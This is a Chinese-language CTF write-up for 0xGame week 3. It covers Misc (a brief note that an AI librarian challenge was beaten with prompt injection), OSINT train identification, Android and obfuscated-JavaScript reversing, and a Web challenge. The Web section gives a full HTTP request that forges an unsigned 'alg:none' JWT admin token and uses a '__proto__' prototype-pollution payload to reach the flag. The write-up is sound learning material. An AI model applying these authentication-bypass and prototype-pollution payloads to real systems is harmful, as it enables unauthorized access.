
Misc[week3]  

收集阳光吧  
什么fps训练题（其实是没找到更好的解法）

神秘图书管理员  
按照题示获取一下apikey后激活ai.

本题考察ai提示词注入攻击，这个我熟啊😋，调教ai这一块

Bitlocker安全吗？  
前面按照题目的操作进行即可，将加密磁盘解密后挂载，之后解压获得0xGame.dd和memdump.mem
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这里采用Git bash（因为实在懒得开虚拟机了，cmd权限也不够），进入对应路径使用strings搜索mem文件

等待一会即可发现flag，如图

Osint  

青鸾  

打开图片，不难发现站名，同时时间是10月8日深夜，所以重点搜寻8日12点前到日照站的列车

同时，对火车有点了解的师傅不难发现这是和谐号，车型是CR400型号（当然不知道也没关系，只是更加方便验证）

打开12306，发现无法查询历史车次，怎么办呢？

既然换乘前的车不是临客，那么说明每天都有车次，因此我们直接查询当日车次即可。

查询“日照”站并过滤日照东，可以得到如下几个晚上的车次

根据现实逻辑判断，下一步既然回南京，必然不可能从南方到日照，同时结合复兴号车型，D8193次是唯一吻合的结
果
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确定车次后就是查询3和4信息，这里贴一个常用网站，查询D8192（实际是8193）后发现两个车次的车组号（即车底
编号）

说明是重联列车，按照题目要求组合即可

https://rail.re/


最后组合信息，即为RZK_D8193广CR400BFS5286+5331

计算md5小写即可

Reserve  

easyApp  

首先利用apktool解包apk文件

打开解包后的文件中的MainActivity.smali，找到

即为前26字符，解码得到0xGame{Do_yOu_lOv3_andrO1d

后半段解压dex.zip，并在jadx中还原编码，得到

0xGame{c78c5f0acc7761d46907cb1510a760a8}

cd /d "C:\Users\Admin\Downloads"

"apk\apk\apktool.bat" d "easyApp.apk"

const-string v0, "MHhHYW1le0RvX3kwdV9sMHYzX2FuZHIwMWQ="

invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
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运行脚本，解方程，得到A,B,C的值

package com.example.easyapp;

import java.math.BigInteger;

/* loaded from: C:\Users\Admin\Downloads\easyApp\assets\dex\dex.bin */

public class Secret {

    public static boolean check(String str) {

        BigInteger bigInteger = new BigInteger(str.substring(0, 16), 16);

        BigInteger bigInteger2 = new BigInteger(str.substring(8, 24), 16);

        BigInteger bigInteger3 = new BigInteger(str.substring(16, 32), 16);

        return bigInteger2.add(bigInteger.multiply(new BigInteger("3"))).subtract(new 

BigInteger("27454419028250566601")).equals(BigInteger.ZERO) && bigInteger3.multiply(new 

BigInteger("2")).subtract(bigInteger2.multiply(new BigInteger("5"))).add(new 

BigInteger("20616666104378640363")).equals(BigInteger.ZERO) && 

bigInteger.add(bigInteger3.multiply(new BigInteger("4"))).subtract(new 

BigInteger("1dce62be9f0fa2f6c", 16)).equals(BigInteger.ZERO);

    }

}

# Constants

M1 = 27454419028250566601

M2 = 20616666104378640363

M3 = 0x1dce62be9f0fa2f6c  # 137892457924837259212

# From equation 3: A = M3 - 4*C

# From equation 1: B = M1 - 3*A = M1 - 3*(M3 - 4*C) = M1 - 3*M3 + 12*C

# From equation 2: 2*C - 5*B + M2 = 0

# Substitute B:

# 2*C - 5*(M1 - 3*M3 + 12*C) + M2 = 0

# 2*C -5*M1 +15*M3 -60*C + M2 = 0

# -58*C = 5*M1 -15*M3 - M2

# C = (15*M3 + M2 - 5*M1) // 58

numerator = 15 * M3 + M2 - 5 * M1

print("Numerator =", numerator)

print("Numerator % 58 =", numerator % 58)

if numerator % 58 == 0:

    C = numerator // 58

    A = M3 - 4 * C

    B = M1 - 3 * A

    print("A =", A)

    print("B =", B)

    print("C =", C)

else:

    print("No integer solution? But must have one!")

    # Try C = floor(numerator / 58) and check nearby values

    C0 = numerator // 58

    for delta in range(-5, 6):

        C = C0 + delta



之后是将三个值转码

        A = M3 - 4 * C

        B = M1 - 3 * A

        if B + 3*A == M1 and 2*C - 5*B == -M2 and A + 4*C == M3:

            print("Found with delta", delta)

            print("A =", A)

            print("B =", B)

            print("C =", C)

            break

    else:

        print("No solution in range")

# Use your values

A = 6860229509768308088

B = 6873730498945642337

C = 6875993195174785661

# Convert to 16-char hex

A_hex = format(A, '016x')

B_hex = format(B, '016x')

C_hex = format(C, '016x')

print(f"A_hex = {A_hex}")

print(f"B_hex = {B_hex}")

print(f"C_hex = {C_hex}")

# Full hex string

full_hex = A_hex + C_hex

print(f"Full hex = {full_hex}")

# Verify overlap

actual_B = full_hex[8:24]

print(f"Actual B from overlap = {actual_B}")

print(f"Expected B = {B_hex}")

print("Overlap match:", actual_B == B_hex)

# Decode to string

try:

    from binascii import unhexlify

    raw_bytes = unhexlify(full_hex)

    suffix = raw_bytes.decode('utf-8')

    print(f"\n[+] 后半段 (16 字符): '{suffix}'")

    print(f"[+] 完整 flag: 0xGame{{Do_y0u_l0v3_andr01d{suffix}}}")

except Exception as e:

    print(f"\n[-] 解码失败: {e}")

    print(f"Raw bytes: {raw_bytes}")

    # Try ASCII visualization

    ascii_str = ''.join(chr(b) if 32 <= b <= 126 else '?' for b in raw_bytes)

    print(f"ASCII 可视化: '{ascii_str}'")

 0xGame{Do_y0u_l0v3_andr01d_4nd_dex_loader}



Minesweeper  

别想着把这个扫雷做出来，成功概率极低

解压后打开html文件，查看网页源代码，在其中找到ms_obfus.js

打开发现这个函数中会动态生成flag

发现key是"WebIsInteresting"，而密文在_0xca50()数组中的0xc9=201中取得

打开这个数组，发现密文

利用规则写出解密脚本

function _0x172ca4(){

    const _0x55ea57=_0x468083,

          _0x2fd5df=_0x55ea57(0xc9),                     

          _0x3d2b4e=_0x362f11[_0x55ea57(0x94)][_0x55ea57(0xe5)],

          _0x469fbb=new TextEncoder()[_0x55ea57(0xf9)](_0x3d2b4e),

          _0x2f155c=new TextEncoder()[_0x55ea57(0xf9)](_0x2fd5df);

    flag='';

    for(let _0x53ec1b=0x0;_0x53ec1b<_0x2f155c['length'];_0x53ec1b++){

        flag+=String[_0x55ea57(0xf4)]

(_0x2f155c[_0x53ec1b]^_0x469fbb[_0x53ec1b%_0x469fbb[_0x55ea57(0x7f)]]);

    }

    return flag;

}

'g\x1d%(\x1e,\x15@SA\\FD\x0fWJn]P}^}\x0c\x12\x07_]AGYC^o\x04\x00yA-ZGT\x16U\x0e'

# decrypt_flag.py

cipher = b'g\x1d%(\x1e,\x15@SA\\FD\x0fWJn]P}^}\x0c\x12\x07_]AGYC^o\x04\x00yA-ZGT\x16U\x0e'

key = b"WebIsInteresting"

flag = ""

for i in range(len(cipher)):

    flag += chr(cipher[i] ^ key[i % len(key)])

print(flag)

0xGame{463950f9-9824-4bfb-8230-98ab02d431d0}
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Web  

长夜月  

随便注册一个账号登录，出现该页面，因此需要伪造管理员身份

在bp中修改尝试发送请求后无果，怎么办呢？查看源代码试试

发现下列片段会输出flag

首先，POST的地址是/admin_clublst；其次，请求日期需要在2025-08-03之前；之后构造Payload：
{"username":"admin","password":"123"}伪装成管理员，编码成
eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjMifQ“==”，去除凑数的==后加上“.”分隔符即可

最终构造请求：

app.post('/admin_club1st', Admin_Check, (req, res) => {

    let body = req.body;

    let evernight = Object.create(CONFIG);

    let min_public_time = CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time;

    merge(evernight, body);    

    let en = Object.create(CONFIG);

    if (en.min_public_time < "2025-08-03") {

        return res.render('march7th', {message: FLAG});

    }

    return res.render('evernight');

});
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最后flag如图

POST /admin_club1st HTTP/1.1

Host: 80-f139aece-f1f9-477b-b4a2-3359ae02d59a.challenge.ctfplus.cn

User-Agent: Mozilla/5.0

Accept: */*

Content-Type: application/json

Content-Length: 48

Cookie: 

token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjMifQ

.

{"__proto__": {"min_public_time": "2024-01-01"}}
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